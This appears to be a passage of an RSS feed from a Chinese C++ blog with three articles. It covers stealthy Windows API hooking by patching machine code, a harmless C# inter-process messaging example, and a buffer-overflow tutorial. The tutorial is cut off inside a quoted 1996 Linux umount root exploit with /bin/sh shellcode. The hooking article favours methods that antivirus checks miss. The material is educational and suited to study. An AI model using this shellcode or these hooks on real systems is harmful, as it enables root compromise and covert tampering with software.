:71A21B17 3BC7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp eax, edi<br>
:71A21B19 8945FC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebp-04], eax<br>
:71A21B1C 0F85C4940000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jne 71A2AFE6<br>
:71A21B22 FF7508&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push [ebp+08]<br>
:71A21B25 E826F7FFFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call 71A21250<br>
:71A21B2A 8BF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov esi, eax<br>
:71A21B2C 3BF7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp esi, edi<br>
:71A21B2E 0F84AB940000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; je 71A2AFDF<br>
:71A21B34 8B4510&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov eax, dword ptr [ebp+10]<br>
:71A21B37 53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ebx<br>
:71A21B38 8D4DFC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ecx, dword ptr [ebp-04]<br>
:71A21B3B 51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ecx<br>
:71A21B3C FF75F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push [ebp-08]<br>
:71A21B3F 8D4D08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ecx, dword ptr [ebp+08]<br>
:71A21B42 57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<br>
:71A21B43 57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<br>
:71A21B44 FF7514&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push [ebp+14]<br>
:71A21B47 8945F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebp-10], eax<br>
:71A21B4A 8B450C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov eax, dword ptr [ebp+0C]<br>
:71A21B4D 51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ecx<br>
:71A21B4E 6A01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 00000001<br>
:71A21B50 8D4DF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ecx, dword ptr [ebp-10]<br>
:71A21B53 51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ecx<br>
:71A21B54 FF7508&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push [ebp+08]<br>
:71A21B57 8945F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebp-0C], eax<br>
:71A21B5A 8B460C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov eax, dword ptr [esi+0C]<br>
:71A21B5D FF5064&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call [eax+64]<br>
:71A21B60 8BCE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ecx, esi<br>
:71A21B62 8BD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, eax<br>
:71A21B64 E8C7F6FFFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call 71A21230 //将被HOOK的机器码（第3种方法）<br>
:71A21B69 3BDF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp ebx, edi<br>
:71A21B6B 5B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop ebx<br>
:71A21B6C 0F855F940000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jne 71A2AFD1<br>
:71A21B72 8B4508&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov eax, dword ptr [ebp+08]<br>
:71A21B75 5F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop edi<br>
:71A21B76 5E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop esi<br>
:71A21B77 C9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; leave<br>
:71A21B78 C21000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret 0010<br>
<br>
下面用4种方法来HOOK这个API：<br>
<br>
1，把API入口的第一条指令是PUSH EBP指令（机器码0x55）替换成INT
3（机器码0xcc），然后用WINDOWS提供的调试函数来执行自己的代码，这中方法被SOFT
ICE等DEBUGER广泛采用，它就是通过BPX在相应的地方设一条INT
3指令来下断点的。但是不提倡用这种方法，因为它会与WINDOWS或调试工具产生冲突，而汇编代码基本都要调试；<br>
<br>
2，把第二条mov ebp,esp指令（机器码8BEC，2字节）替换为INT F0指令（机器码CDF0），然后在IDT里设置一个中断门，指向我们的代码。我这里给出一个HOOK代码：<br>
<br>
lea ebp,[esp+12] //模拟原指令mov ebp,esp的功能<br>
pushfd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //保存现场<br>
pushad&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //保存现场<br>
<br>
//在这里做你想做的事情<br>
<br>
popad&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //恢复现场<br>
popfd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //恢复现场<br>
iretd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //返回原指令的下一条指令继续执行原函数（71A21AF7地址处）<br>
<br>
这种方法很好，但缺点是要在IDT设置一个中断门，也就是要进RING0。<br>
<br>
3，更改CALL指令的相对地址（CALL分别在71A21B12、71A21B25、71A21B64，但前面2条CALL之前有一个条件跳转指令，有
可能不被执行到，因此我们要HOOK
71A21B64处的CALL指令）。为什么要找CALL指令下手？因为它们都是5字节的指令，而且都是CALL指令，只要保持操作码0xE8不变，改变
后面的相对地址就可以转到我们的HOOK代码去执行了，在我们的HOOK代码后面再转到目标地址去执行。<br>
<br>
假设我们的HOOK代码在71A20400处，那么我们把71A21B64处的CALL指令改为CALL 71A20400（原指令是这样的：CALL 71A21230）<br>
而71A20400处的HOOK代码是这样的：<br>
<br>
71A20400:<br>
pushad<br>
<br>
//在这里做你想做的事情<br>
<br>
popad<br>
jmp 71A21230&nbsp;&nbsp;&nbsp; //跳转到原CALL指令的目标地址，原指令是这样的：call 71A21230<br>
<br>
这种方法隐蔽性很好，但是比较难找这条5字节的CALL指令，计算相对地址也复杂。<br>
<br>
4，替换71A21AFE地址上的cmp dword ptr [71A3201C], 71A21C93指令（机器码：813D1C20A371931CA271，10字节）成为<br>
call 71A20400<br>
nop<br>
nop<br>
nop<br>
nop<br>
nop<br>
（机器码：E8 XX XX XX XX 90 90 90 90 90，10字节）<br>
<br>
在71A20400的HOOK代码是：<br>
pushad<br>
mov edx,71A3201Ch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //模拟原指令cmp dword ptr [71A3201C], 71A21C93<br>
cmp dword ptr [edx],71A21C93h&nbsp;&nbsp;&nbsp; //模拟原指令cmp dword ptr [71A3201C], 71A21C93<br>
pushfd<br>
<br>
//在这里做你想做的事<br>
<br>
popfd<br>
popad<br>
ret<br>
这种方法隐蔽性最好，但不是每个API都有这样的指令，要具体情况具体操作。<br>
<br>
以上几种方法是常用的方法，值得一提的是很多人都是改API开头的5个字节，但是现在很多杀毒软件用这样的方法检查API是否被HOOK，或其他病毒木马
在你之后又改了前5个字节，这样就会互相覆盖，最后一个HOOK API的操作才是有效的，所以提倡用第3和第4种方法。
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28915.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 10:32 <a href="http://www.cppblog.com/mydriverc/articles/28915.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在C#中用WM_COPYDATA消息来实现进程间通信</title><link>http://www.cppblog.com/mydriverc/articles/28732.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Tue, 24 Jul 2007 16:30:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28732.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28732.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28732.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28732.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28732.html</trackback:ping><description><![CDATA[<div id="article_main">
进程之间通讯的几种方法:<br>在Windows程序中，各个进程之间常常需要交换数据，进行数据通讯。常用的方法有<br>使用内存映射文件<br>通过共享内存DLL共享内存<br>使用SendMessage向另一进程发送WM_COPYDATA消息<br>比起前两种的复杂实现来,WM_COPYDATA消息无疑是一种经济实惠的一中方法.（ZT）<br>
<p>WM_COPYDATA消息的主要目的是允许在进程间传递只读数据。Windows在通过WM_COPYDATA消息传递期间，不提供继承同步方式。SDK文档推荐用户使用SendMessage函数，接受方在数据拷贝完成前不返回，这样发送方就不可能删除和修改数据：<br>这个函数的原型及其要用到的结构如下:<br>SendMessage(hwnd,WM_COPYDATA,wParam,lParam); <br>其中,WM_COPYDATA对应的十六进制数为0x004A<br>wParam设置为包含数据的窗口的句柄。lParam指向一个COPYDATASTRUCT的结构：<br>typedef struct tagCOPYDATASTRUCT{<br>DWORD dwData;//用户定义数据<br>DWORD cbData;//数据大小<br>PVOID lpData;//指向数据的指针<br>}COPYDATASTRUCT;<br>该结构用来定义用户数据。<br>具体过程如下:</p>
<p>首先,在发送方,用FindWindow找到接受方的句柄,然后向接受方发送WM_COPYDATA消息.<br>接受方在DefWndProc事件中,来处理这条消息.由于中文编码是两个字节,所以传递中文时候字节长度要搞清楚.<br>体代码如下:<br>//---------------------------------------------------<br>//发送方:<br>using System;<br>using System.Drawing;<br>using System.Collections;<br>using System.ComponentModel;<br>using System.Windows.Forms;<br>using System.Data;<br>using System.Runtime.InteropServices;<br>namespace WinFormSendMsg<br>{<br>public class Form1 : System.Windows.Forms.Form<br>{<br>private System.Windows.Forms.TextBox textBox1;<br>private System.Windows.Forms.Button button1;<br>private System.ComponentModel.Container components = null;<br>const int WM_COPYDATA = 0x004A;<br>public Form1()<br>{<br>InitializeComponent();<br>}<br>protected override void Dispose( bool disposing )<br>{<br>if( disposing )<br>{<br>if (components != null) <br>{<br>components.Dispose();<br>}<br>}<br>base.Dispose( disposing );<br>}</p>
<p>private void InitializeComponent()<br>{<br>this.textBox1 = new System.Windows.Forms.TextBox();<br>this.button1 = new System.Windows.Forms.Button();<br>this.SuspendLayout();<br>// <br>// textBox1<br>// <br>this.textBox1.Location = new System.Drawing.Point(184, 24);<br>this.textBox1.Name = "textBox1";<br>this.textBox1.Size = new System.Drawing.Size(128, 21);<br>this.textBox1.TabIndex = 0;<br>this.textBox1.Text = "textBox1";<br>// <br>// button1<br>// <br>this.button1.Location = new System.Drawing.Point(344, 16);<br>this.button1.Name = "button1";<br>this.button1.Size = new System.Drawing.Size(112, 32);<br>this.button1.TabIndex = 1;<br>this.button1.Text = "button1";<br>this.button1.Click += new System.EventHandler(this.button1_Click);<br>// <br>// Form1<br>// <br>this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);<br>this.ClientSize = new System.Drawing.Size(536, 142);<br>this.Controls.AddRange(new System.Windows.Forms.Control[] {<br>this.button1,<br>this.textBox1});<br>this.Name = "Form1";<br>this.Text = "发送方窗体";<br>this.ResumeLayout(false);<br>}<br>static void Main() <br>{<br>Application.Run(new Form1());<br>}<br>[DllImport("User32.dll",EntryPoint="SendMessage")]<br>private static extern int SendMessage(<br>int hWnd, // handle to destination window<br>int Msg, // message<br>int wParam, // first message parameter<br>ref COPYDATASTRUCT lParam // second message parameter<br>);</p>
<p>[DllImport("User32.dll",EntryPoint="FindWindow")]<br>private static extern int FindWindow(string lpClassName,string<br>lpWindowName);</p>
<p>private void button1_Click(object sender, System.EventArgs e)<br>{<br>int WINDOW_HANDLER = FindWindow(null,@"接收方窗体");<br>if(WINDOW_HANDLER == 0)<br>{<br>}<br>else<br>{<br>byte[] sarr = System.Text.Encoding.Default.GetBytes(this.textBox1.Text);<br>int len = sarr.Length;<br>COPYDATASTRUCT cds;<br>cds.dwData = (IntPtr) 100;<br>cds.lpData = this.textBox1.Text;<br>cds.cbData = len + 1;<br>SendMessage(WINDOW_HANDLER, WM_COPYDATA, 0, ref cds);</p>
<p>}<br>}<br>}<br>public struct COPYDATASTRUCT<br>{<br>public IntPtr dwData;<br>public int cbData;<br>[MarshalAs(UnmanagedType.LPStr)] public string lpData;<br>}</p>
<p>}</p>
<p>//---------------------------------------------------<br>//接受方<br>//---------------------------------------------------<br>using System;<br>using System.Drawing;<br>using System.Collections;<br>using System.ComponentModel;<br>using System.Windows.Forms;<br>using System.Data;<br>using System.Runtime.InteropServices;<br>namespace WindowsFormGetMsg<br>{<br>public class Form1 : System.Windows.Forms.Form<br>{<br>private System.Windows.Forms.TextBox textBox1;<br>private System.ComponentModel.Container components = null;<br>const int WM_COPYDATA = 0x004A;<br>public Form1()<br>{<br>InitializeComponent();<br>}<br>protected override void Dispose( bool disposing )<br>{<br>if( disposing )<br>{<br>if (components != null) <br>{<br>components.Dispose();<br>}<br>}<br>base.Dispose( disposing );<br>}<br>private void InitializeComponent()<br>{<br>this.textBox1 = new System.Windows.Forms.TextBox();<br>this.SuspendLayout();<br>// <br>// textBox1<br>// <br>this.textBox1.Location = new System.Drawing.Point(176, 32);<br>this.textBox1.Name = "textBox1";<br>this.textBox1.Size = new System.Drawing.Size(160, 21);<br>this.textBox1.TabIndex = 0;<br>this.textBox1.Text = "textBox1";<br>// <br>// Form1<br>// <br>this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);<br>this.ClientSize = new System.Drawing.Size(432, 266);<br>this.Controls.AddRange(new System.Windows.Forms.Control[] {<br>this.textBox1});<br>this.Name = "Form1";<br>this.Text = "接收方窗体";<br>this.ResumeLayout(false);<br>}<br>static void Main() <br>{<br>Application.Run(new Form1());<br>}<br>protected override void DefWndProc(ref System.Windows.Forms.Message m)<br>{<br>switch(m.Msg)<br>{<br>case WM_COPYDATA:<br>COPYDATASTRUCT mystr = new COPYDATASTRUCT();<br>Type mytype = mystr.GetType();<br>mystr =(COPYDATASTRUCT)m.GetLParam(mytype);<br>this.textBox1.Text =mystr.lpData;<br>break;<br>default:<br>base.DefWndProc(ref m);<br>break;<br>}<br>}<br>}<br>public struct COPYDATASTRUCT<br>{<br>public IntPtr dwData;<br>public int cbData;<br>[MarshalAs(UnmanagedType.LPStr)] public string lpData;<br>}<br>}</p>
</div>
<!-- google_ad_section_end -->
<br style="clear: both;">
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28732.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-25 00:30 <a href="http://www.cppblog.com/mydriverc/articles/28732.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>缓冲区溢出原理及防护 </title><link>http://www.cppblog.com/mydriverc/articles/28549.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 19:17:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28549.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28549.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28549.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28549.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28549.html</trackback:ping><description><![CDATA[<table style="width: 25px; height: 42px;" align="left" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>            <br></td>
        </tr>
    </tbody>
</table>
<p>摘 要 本文详细分析了缓冲区溢出的原理，描述了网络攻击者利用缓冲区溢出漏洞进行系统攻击的一般过程，最后简单讨论了几种缓冲区溢出的保护方法。<br>关键词　缓冲区溢出 缓冲区溢出漏洞 安全攻击 缓冲区溢出保护<br><br>在
过去的十年中，以缓冲区溢出为攻击类型的安全漏洞是最为常见的一种形式。更为严重的是，缓冲区溢出漏洞占了远程网络攻击的绝大多数，这种攻击可以使得一个
匿名的Internet用户有机会获得一台主机的部分或全部的控制权！由于这类攻击使任何人都有可能取得主机的控制权，所以它代表了一类极其严重的安全威
胁。<br><br>缓冲区溢出攻击之所以成为一种常见的攻击手段，其原因在于缓冲区溢出漏洞太普通了，并且易于实现。而且，缓冲区溢出所以成为远程攻击
的主要手段，其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切：殖入并且执行攻击代码。被殖入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序，从而
得到被攻击主机的控制权。本文简单介绍了缓冲区溢出的基本原理和预防办法。<br><br><br>一、缓冲区溢出的概念和原理<br><br>缓冲区是
内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候，因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的，攻击
者写一个超过缓冲区长度的字符串，植入到缓冲区，然后再向一个有限空间的缓冲区中植入超长的字符串，这时可能会出现两个结果：一是过长的字符串覆盖了相邻
的存储单元，引起程序运行失败，严重的可导致系统崩溃；另一个结果就是利用这种漏洞可以执行任意指令，甚至可以取得系统root特级权限。<br><br>缓
冲区是程序运行的时候机器内存中的一个连续块，它保存了给定类型的数据，随着动态分配变量会出现问题。大多时为了不占用太多的内存，一个有动态分配变量的
程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据，它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代
码放到机器的内存里，通常是产生root权限的地方。<span style="font-weight: bold;">仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域，一旦
运行这些命令，那可就等于把机器拱手相让了</span>。<br>造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序：<br><br>example1.c <br>void func1(char *input) { <br>char buffer[16]; <br>strcpy(buffer, input); <br>}<br><br>上
面的strcpy()将直接吧input中的内容copy到buffer中。这样只要input的长度大于16，就会造成buffer的溢出，使程序运行
出错。存在像strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在
循环内的getc(),fgetc(),getchar()等。 <br><br>当然，随便往缓冲区中填东西造成它溢出一般只会出现
Segmentation fault
错误，而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其他命令。如果该程序属于root且
有suid权限的话，攻击者就获得了一个有root权限的shell，便可以对系统进行任意操作了。<br><br>请注意，如果没有特别说明，下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其他平台来说，本文的概念同样适用，但程序要做相应修改。<br><br><br>二、制造缓冲区溢出 <br><br>一个程序在内存中通常分为程序段、数据段和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中，它们的位置是： <br><br><img alt="attachments/200509/04_194023_1.gif" src="http://www.163vc.com/Article/UploadFiles/200605/200653013842581.gif"><br>当
程序中发生函数调用时，计算机做如下操作：<span style="font-weight: bold;">首先把参数压入堆栈；然后保存指令寄存器(IP)中的内容作为返回地址(RET)；第三个放入堆栈的是基址寄存
器(FP)；然后把当前的栈指针(SP)拷贝到FP，做为新的基地址；最后为本地变量留出一定空间，把SP减去适当的数值。</span>以下面程序为例：<br><br>example2.c <br>void func1(char * input) { <br>char buffer[16]; <br>strcpy(buffer, input); <br>} <br>void main() { <br>char longstring[256]; <br>int i; <br>for( i = 0; i &lt; 255; i++) <br>longstring [i] = 'B'; <br>func1(longstring); <br>}<br><br>当调用函数func1()时，堆栈如下：<br><img alt="attachments/200509/04_194043_2.gif" src="http://www.163vc.com/Article/UploadFiles/200605/200653013842232.gif"><br>不
用说，程序执行的结果是"Segmentation fault (core
dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被* input的内容'B'覆盖，包括sfp,
ret,甚至*input。'B'的16进值为0x41，所以函数的返回地址变成了0x41414141，这超出了程序的地址空间，所以出现段错误。<br><br><br>三、缓冲区溢出漏洞攻击方式<br><br>缓
冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权限。一般利用缓冲区溢出漏洞攻击root程序，大都通过执行类似&#8220;exec
(sh)&#8221;的执行代码来获得root
的shell。黑客要达到目的通常要完成两个任务，就是在程序的地址空间里安排适当的代码和通过适当的初始化寄存器和存储器，让程序跳转到安排好的地址空
间执行。<br><br>1、在程序的地址空间里安排适当的代码<br>在程序的地址空间里安排适当的代码往往是相对简单的。如果要攻击的代码在所攻击程
序中已经存在了，那么就简单地对代码传递一些参数，然后使程序跳转到目标中就可以完成了。攻击代码要求执行&#8220;exec(&#8216;/bin/sh&#8217;)&#8221;，而在
libc库中的代码执行&#8220;exec(arg)&#8221;，其中的&#8220;arg&#8221;是个指向字符串的指针参数，只要把传入的参数指针修改指向&#8220;/bin/sh&#8221;，然后再跳
转到libc库中的响应指令序列就可以了。当然，很多时候这个可能性是很小的，那么就得用一种叫&#8220;植入法&#8221;的方式来完成了。当向要攻击的程序里输入一个字
符串时，程序就会把这个字符串放到缓冲区里，这个字符串包含的数据是可以在这个所攻击的目标的硬件平台上运行的指令序列。缓冲区可以设在：堆栈（自动变
量）、堆（动态分配的）和静态数据区（初始化或者未初始化的数据）等的任何地方。也可以不必为达到这个目的而溢出任何缓冲区，只要找到足够的空间来放置这
些攻击代码就够了。<br><br>2、控制程序转移到攻击代码的形式<br>缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程，使它跳转到攻击代码，最
为基本的就是溢出一个没有检查或者其他漏洞的缓冲区，这样做就会扰乱程序的正常执行次序。通过溢出某缓冲区，可以改写相近程序的空间而直接跳转过系统对身
份的验证。原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。但因不同地方的定位相异，所以也就带出了多种转移方式。<br><br>（1）Function Pointers（函数指针）<br>在
程序中，&#8220;void (* foo) ( )&#8221;声明了个返回值为&#8220;void&#8221; Function Pointers的变量&#8220;foo&#8221;。Function
Pointers可以用来定位任意地址空间，攻击时只需要在任意空间里的Function
Pointers邻近处找到一个能够溢出的缓冲区，然后用溢出来改变Function Pointers。当程序通过Function
Pointers调用函数，程序的流程就会实现。<br><br>（2）Activation Records（激活记录）<br>当一个函数调用发生
时，堆栈中会留驻一个Activation
Records，它包含了函数结束时返回的地址。执行溢出这些自动变量，使这个返回的地址指向攻击代码，再通过改变程序的返回地址。当函数调用结束时，程
序就会跳转到事先所设定的地址，而不是原来的地址。这样的溢出方式也是较常见的。<br><br>（3）Longjmp buffers（长跳转缓冲区）<br>在C
语言中包含了一个简单的检验/恢复系统，称为&#8220;setjmp/longjmp&#8221;，意思是在检验点设定&#8220;setjmp(buffer)&#8221;，用longjmp
(buffer)&#8220;来恢复检验点。如果攻击时能够进入缓冲区的空间，感觉&#8220;longjmp(buffer)&#8221;实际上是跳转到攻击的代码。像
Function Pointers一样，longjmp缓冲区能够指向任何地方，所以找到一个可供溢出的缓冲区是最先应该做的事情。</p>
<p>3、植入综合代码和流程控制 <br>常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和Activation
Records。攻击时定位在一个可供溢出的自动变量，然后向程序传递一个很大的字符串，在引发缓冲区溢出改变Activation
Records的同时植入代码（权因C在习惯上只为用户和参数开辟很小的缓冲区）。植入代码和缓冲区溢出不一定要一次性完成，可以在一个缓冲区内放置代码
（这个时候并不能溢出缓冲区），然后通过溢出另一个缓冲区来转移程序的指针。这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。如果想使用已经
驻留的代码不需要再外部植入的时候，通常必须先把代码做为参数。在libc（熟悉C的朋友应该知道，现在几乎所有的C程序连接都是利用它来连接的）中的一
部分代码段会执行&#8220;exec(something)&#8221;，当中的something就是参数，使用缓冲区溢出改变程序的参数，然后利用另一个缓冲区溢出使程
序指针指向libc中的特定的代码段。
程序编写的错误造成网络的不安全性也应当受到重视，因为它的不安全性已被缓冲区溢出表现得淋漓尽致了。 <br><br><br>四、利用缓冲区溢出进行的系统攻击 <br><br>如
果已知某个程序有缓冲区溢出的缺陷，如何知道缓冲区的地址，在哪儿放入shell代码呢？由于每个程序的堆栈起始地址是固定的，所以理论上可以通过反复重
试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百至上千次，实际上是不现实的。解决的办法是利用空指令NOP。在shell代码
前面放一长串的NOP，返回地址可以指向这一串NOP中任一位置，执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。下面是一
个缓冲区溢出攻击的实例，它利用了系统程序mount的漏洞： <br><br>example5.c <br>/* Mount Exploit for Linux, Jul 30 1996 <br>Discovered and Coded by Bloodmask &amp; Vio <br>Covin Security 1996 <br>*/ <br>#include <br>#include <br>#include <br>#include <br>#include <br>#define PATH_MOUNT "/bin/umount" <br>#define BUFFER_SIZE 1024 <br>#define DEFAULT_OFFSET 50 <br>u_long get_esp() <br>{ <br>__asm__("movl %esp, %eax"); <br>} <br><br>main(int argc, char **argv) <br>{ <br>u_char execshell[] = <br>"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" <br>"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" <br>"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; <br>char *buff = NULL; <br>unsigned long *addr_ptr = NULL; <br>char *ptr = NULL; <br>int i; <br>int ofs = DEFAULT_OFFSET; <br>buff = malloc(4096); <br>if(!buff) <br>{ <br>printf("can't allocate memory\n"); <br>exit(0); <br>} <br>ptr = buff; <br>/* fill start of buffer with nops */ <br>memset(ptr, 0x90, 